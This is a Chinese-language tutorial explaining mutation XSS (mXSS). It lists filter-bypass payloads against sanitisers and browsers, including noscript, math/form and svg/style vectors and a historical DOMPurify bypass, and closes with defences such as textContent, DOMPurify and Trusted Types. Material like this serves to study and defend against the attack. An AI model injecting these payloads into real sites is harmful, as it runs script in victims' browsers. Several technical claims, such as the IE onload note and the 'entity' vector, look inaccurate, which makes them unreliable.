mXSS(突变XSS)原理与利用

17分钟阅读 | 高级技巧

一、mXSS基础概念

mXSS(Mutation XSS)是指通过利用浏览器DOM解析器的差异,使原本安全的HTML代码在DOM树构建过程中发生"突变",从而绕过XSS过滤器的攻击技术。

1.1 产生原因

二、mXSS攻击原理

2.1 基础示例

// 安全的HTML(通过过滤器)
var safe = '<noscript><p title="</noscript><img src=x onerror=alert(1)>">';

// 插入DOM后发生突变
div.innerHTML = safe;
console.log(div.innerHTML);
// 输出:<noscript><p title="</noscript><img src=x onerror=alert(1)>"></p></noscript>
// 在某些浏览器中,img标签会被执行!

2.2 经典mXSS向量

<!-- 向量1:noscript突变 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- 向量2:form突变 -->
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

<!-- 向量3:listing/xmp标签 -->
<listing><img src=1 onerror=alert(1)></listing>

<!-- 向量4:namespace突变 -->
<svg><style><img src=x onerror=alert(1)>

<!-- 向量5:HTML5实体突变 -->
<img src="x" onerror="alert`1`">

三、高级利用技巧

3.1 innerHTML特性利用

// innerHTML会规范化HTML
div.innerHTML = '<img src="test" />';
console.log(div.innerHTML); // <img src="test">

// 利用这个特性绕过过滤
var payload = '<img src=1 href=1 onerror="alert(1)">';
div.innerHTML = payload;
// 某些过滤器只检查原始字符串,但浏览器会重新序列化

3.2 DOMPurify绕过(历史漏洞)

<!-- CVE-2019-20374 -->
<form><math><mtext></form><form><mglyph><svg><mtext><style></math><img src onerror=alert(1)>

<!-- SVG命名空间混淆 -->
<svg><![CDATA[<image xlink:href="x" onerror="alert(1)" />]]></svg>

3.3 浏览器差异利用

// Chrome vs Firefox差异
// Chrome允许:
<template><img src=x onerror=alert(1)></template>

// IE特有:
<img src="x" onload="alert(1)">
<!-- IE会在失败时也触发onload -->

四、防御措施

4.1 使用textContent代替innerHTML

// 危险
element.innerHTML = userInput;

// 安全
element.textContent = userInput;

4.2 使用现代化消毒库

// 使用最新版DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(dirty, {
  SAFE_FOR_TEMPLATES: true,
  RETURN_TRUSTED_TYPE: true
});

4.3 Trusted Types API

// 配置Trusted Types策略
const policy = trustedTypes.createPolicy('default', {
  createHTML: (string) => DOMPurify.sanitize(string)
});

element.innerHTML = policy.createHTML(userInput);

五、真实案例

5.1 Gmail mXSS (2012)

研究员Gareth Heyes发现Gmail过滤器可被mXSS绕过,影响数百万用户。

5.2 Yahoo Mail mXSS (2013)

利用noscript标签突变绕过Yahoo Mail的XSS过滤器。

总结

mXSS是利用浏览器解析差异的高级技术,防御重点:

  1. 避免使用innerHTML
  2. 使用最新的消毒库
  3. 启用Trusted Types
  4. 定期更新浏览器和库
上一篇 返回知识库 下一篇